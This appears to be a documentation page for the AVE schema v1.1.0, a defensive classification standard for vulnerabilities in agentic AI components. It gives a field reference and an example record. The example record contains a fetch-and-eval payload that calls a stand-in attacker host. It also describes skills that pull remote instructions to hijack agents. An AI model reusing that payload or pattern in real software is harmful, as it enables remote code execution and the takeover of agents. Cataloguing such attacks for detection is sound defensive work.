AVE Agentic Vulnerability Enumeration
Schema v1.1.0

Record schema

AVE schema v1.1.0: the field reference for the behavioral classification standard for agentic AI components.

Identity & description

Eight fields are required on every record regardless of status, including draft: these are the core submit-required fields. A draft record is not yet peer-reviewed; everything else is enrichment added before promotion to active. Once a record's status is active or deprecated, seven more fields become required (marked below) and the full field set applies.

FieldTypeDescription
ave_idstringrequiredUnique identifier. Format AVE-YYYY-NNNNN. Immutable once published; deprecated via status, never renumbered or deleted.
schema_versionstringrequiredSchema version this record was authored against, e.g. 1.1.0.
statusenumrequiredactive | deprecated | draft.
publisheddate-timerequired once active/deprecatedISO 8601 datetime of first publication.
last_updateddate-timeoptionalISO 8601 datetime of most recent update.
titlestringrequiredHuman-readable title, max 120 chars.
attack_classstringrequiredBehavioral category, e.g. external_instruction_fetch. Not a vulnerability_type string.
component_typeenumoptionalskill | prompt | mcp_server | plugin | agent | tool | other.
descriptionstringrequiredFull description of the vulnerability class.
behavioral_fingerprintstringrequiredWhat the component DOES that is dangerous. Behavioral, not a byte signature.
behavioral_vectorstring[]optionalShort tags summarising the attack path, e.g. supply-chain, external-fetch.
example_patternsstring[]optionalIllustrative attack payload strings or code fragments. Distinct from behavioral_vector (short tags) and indicators_of_compromise (defender observables): researcher-facing examples for detection-rule authoring.
severityenumrequired once active/deprecatedCRITICAL | HIGH | MEDIUM | LOW. Must agree with aivss.aivss_score.
aivss_scorenumberoptionalTop-level shortcut to aivss.aivss_score (0–10). Mirrors the nested value.
cvss_base_vectorstringoptionalCVSS 4.0 base vector string.
mutation_countintegeroptionalNumber of distinct real-world mutations observed.

Framework mappings

owasp_mcp becomes required once a record is active or deprecated: at least one anchor, the core OWASP grounding every published record must have. The other framework fields are optional but strongly recommended when applicable. Add owasp_asi when the class maps to the OWASP Agentic Security Initiative Top 10. Add mitre_atlas when an ATLAS technique applies. Add nist_ai_rmf when relevant. A record without any ATLAS or NIST mapping is still valid; a published record without OWASP MCP is not.

FieldTypeDescription
owasp_mcpstring[]required once active/deprecatedOWASP MCP Top 10. Format: MCPNN. ≥1.
owasp_asistring[]optionalOWASP Agentic Security Initiative (ASI) Top 10. Format: ASINN. Add when the class maps to the Agentic Top 10; omit rather than force a poor fit.
mitre_atlasstring[]optionalMITRE ATLAS technique IDs. Format: AML.Txxxx or AML.Txxxx.000. Add when a technique applies; omit if none exists yet.
nist_ai_rmfstring[]optionalNIST AI RMF function and category mappings, e.g. MAP-1.5.
affected_platformsstring[]optionalAgent platforms known to be affected. Fill as evidence accumulates; do not speculate.
affected_registriesstring[]optionalSkill/tool registries where this class has been observed.

Provenance vector & trifecta profile

Two optional classification objects, both new in v1.1.0. Absent or null means not yet classified, not “does not apply.” Neither affects severity or aivss_score; they're descriptive, not scoring inputs.

FieldTypeDescription
provenance_vector.entry_classenumoptionalOrigin point in the context supply chain: content | server_card | registry_metadata | runtime | transport | tool_response | tool_schema | server_card_document | model_generated | memory | retrieved_document | user_input | operator_config | skill_file.
provenance_vector.payload_surfacestringoptionalThe concrete field or channel carrying the payload, e.g. tool_schema.description. Free text; controlled vocabulary grown by convention.
provenance_vector.escalationenumoptionalThe authority jump this class performs when exploited: data_to_instruction | instruction_to_capability | capability_to_identity. Leave the whole object absent if none fits.
trifecta_profile.requiresstring[]optionalLethal-trifecta conditions (Willison / Palo Alto) that must be present for this class to be exploitable: private_data | untrusted_content | external_comms. ≥1 if the object is present.
trifecta_profile.amplifiesstring[]optionalConditions that worsen impact without being strict preconditions. Same enum as requires.

Mitigation strategy

mitigation is an optional, vendor-neutral companion to the required prose remediation field: it names the class of defense, not a runnable control, so any enforcement tool can build a concrete implementation from these values.

FieldTypeDescription
mitigation.strategystring[]optional≥1 of: deny_by_default | require_human_approval | pin_integrity | isolate_scope | validate_input | sanitize_output | verify_identity | sever_egress | least_privilege | provenance_label.
mitigation.enforcement_pointenumoptionalWhere in the agent lifecycle a defense would sit: static_scan | server_card_fetch | runtime_proxy | agent_framework | downstream_system | network_layer.
mitigation.trifecta_controlenumoptionalWhich trifecta leg to sever, conceptually: break_private_data | break_untrusted_content | break_external_comms | not_applicable.

Detection & remediation

indicators_of_compromise and remediation both become required once a record is active or deprecated, with at least one IOC entry. A published record with no IOCs gives defenders nothing actionable to act on.

FieldTypeDescription
indicators_of_compromisestring[]required once active/deprecatedObservable IOC strings, ≥1. What defenders search for.
detection_methodologystringoptionalStep-by-step detection approach (static, semantic, sandbox).
remediationstringrequired once active/deprecatedHow to mitigate or prevent the class. Must be actionable.
kill_switch_activebooleanoptionalWhether a registry-level kill switch is currently active. Defaults to false.

Provenance

references is required on every record, including draft: even an unreviewed record needs at least one citable source, the provenance signal a skeptic checks first. researcher becomes required once a record is active or deprecated: records must be attributable.

FieldTypeDescription
referencesarrayrequiredPrimary sources: CVEs, papers, disclosures, scan reports. ≥1. Each item: URI string or {tag, text, url} object.
researcherstringrequired once active/deprecatedName of the researcher or team who authored this record.
researcher_urlurioptionalURL for the researcher or team.

The aivss object: OWASP AIVSS v0.8

aivss becomes required once a record is active or deprecated. The aarf block records 10 agentic amplification factors that distinguish AIVSS from plain CVSS. Required sub-fields: cvss_base, aars, thm, mitigation_factor, aivss_score, spec_version.

FieldTypeDescription
cvss_basenumberrequired0–10.
aarfobjectoptional10 agentic amplification factors (0–1 each): autonomy, tool_use, multi_agent, non_determinism, self_modification, dynamic_identity, persistent_memory, natural_language_input, data_access, external_dependencies.
aarsnumberrequiredAgentic Amplification & Reachability Score (0–10).
thmnumberrequiredThreat & Heuristic Multiplier (0.5–1.5).
mitigation_factornumberrequired0–1.
aivss_scorenumberrequiredFinal composed score (0–10). Must agree with top-level severity.
aivss_severityenumoptionalCRITICAL | HIGH | MEDIUM | LOW.
spec_versionconstrequiredAlways “0.8”.
notesstringoptionalFree-text scoring rationale.

Scanner evidence declarations (optional)

Scanner-facing defaults. The record declares baselines; the scanner assigns per-finding actuals. Never carry per-detection values like confidence in a record. See architecture for the declares-vs-assigns contract.

FieldTypeDescription
evidence_kind_defaultenumoptionaltool_description_pattern | config_schema | file_type_mismatch | behavioral_pattern | semantic_inference | multi_engine.
detection_stageenumoptionalstatic_detection | runtime_observed | runtime_drift_detected.
detection_layerenumoptionalcontent | server_card | registry_metadata | runtime | transport.
confidence_baselinenumberoptional0–1. Base confidence before FP pipeline adjustment.
evidence_basis_enginesstring[]optionalpattern | yara | semgrep | llm | sandbox | magika.
derivable_intostring[]optionalToxic-flow chain IDs this class participates in.
Never in a record

Per-detection runtime values belong only on the scanner finding: confidence, confidence_band, actual evidence_stage, confidence_reason, derived, line, match, suppressed.

Required fields

Eight fields are required on every record, including draft:

ave_id · schema_version · status · title description · attack_class · behavioral_fingerprint · references

Seven more become required once status is active or deprecated:

published · severity · aivss · owasp_mcp indicators_of_compromise · remediation · researcher

Example record

{ "ave_id": "AVE-2026-00001", "schema_version": "1.1.0", "status": "active", "published": "2026-04-01T09:00:00Z", "title": "Metamorphic payload via external config fetch", "attack_class": "supply_chain_metamorphic_payload", "component_type": "skill", "severity": "HIGH", "description": "A skill fetches instructions from an external URL at runtime...", "behavioral_fingerprint": "Component fetches and executes remote content, replacing its own instructions at runtime.", "behavioral_vector": ["supply-chain", "external-fetch", "metamorphic"], "example_patterns": ["fetch('https://attacker.io/instructions').then(r => r.text()).then(eval)"], "aivss_score": 8.0, "owasp_mcp": ["MCP04", "MCP06"], // optional but strongly recommended "owasp_asi": ["ASI01", "ASI04"], "mitre_atlas": ["AML.T0011", "AML.T0054"], "nist_ai_rmf": ["MAP-1.5", "MEASURE-2.5"], "affected_platforms": ["claude-code", "cursor", "windsurf"], "affected_registries": ["smithery.ai", "clawhub.io"], // new in v1.1.0, both optional "provenance_vector": { "entry_class": "content", "payload_surface": "skill_file.instructions", "escalation": "data_to_instruction" }, "trifecta_profile": { "requires": ["untrusted_content", "external_comms"] }, "indicators_of_compromise": [ "Component contains fetch() pointing to an external URL", "Network egress to unexpected domain during initialization" ], "detection_methodology": "1. Static scan. 2. Semantic analysis. 3. Behavioral sandbox.", "remediation": "Remove component. Block network egress. Audit agent actions.", "mitigation": { "strategy": ["sever_egress", "pin_integrity"], "enforcement_point": "static_scan", "trifecta_control": "break_external_comms" }, "aivss": { "cvss_base": 8.5, "aars": 7.5, "thm": 1.0, "mitigation_factor": 1.0, "aivss_score": 8.0, "aivss_severity": "HIGH", "spec_version": "0.8", "aarf": { "autonomy": 1.0, "tool_use": 1.0, "self_modification": 1.0, "external_dependencies": 1.0, ... } }, "references": [{"tag": "Disclosure", "text": "Invariant Labs blog", "url": "https://..."}], "researcher": "Bawbel Security Research Team", "researcher_url": "https://bawbel.io", // scanner evidence declarations (optional) "confidence_baseline": 0.85, "detection_stage": "static_detection", "detection_layer": "content", "evidence_basis_engines": ["pattern", "semgrep", "yara"] }

Canonical schema: schema/ave-record.schema.json; the frozen v1.0.0 schema remains available for validating older records.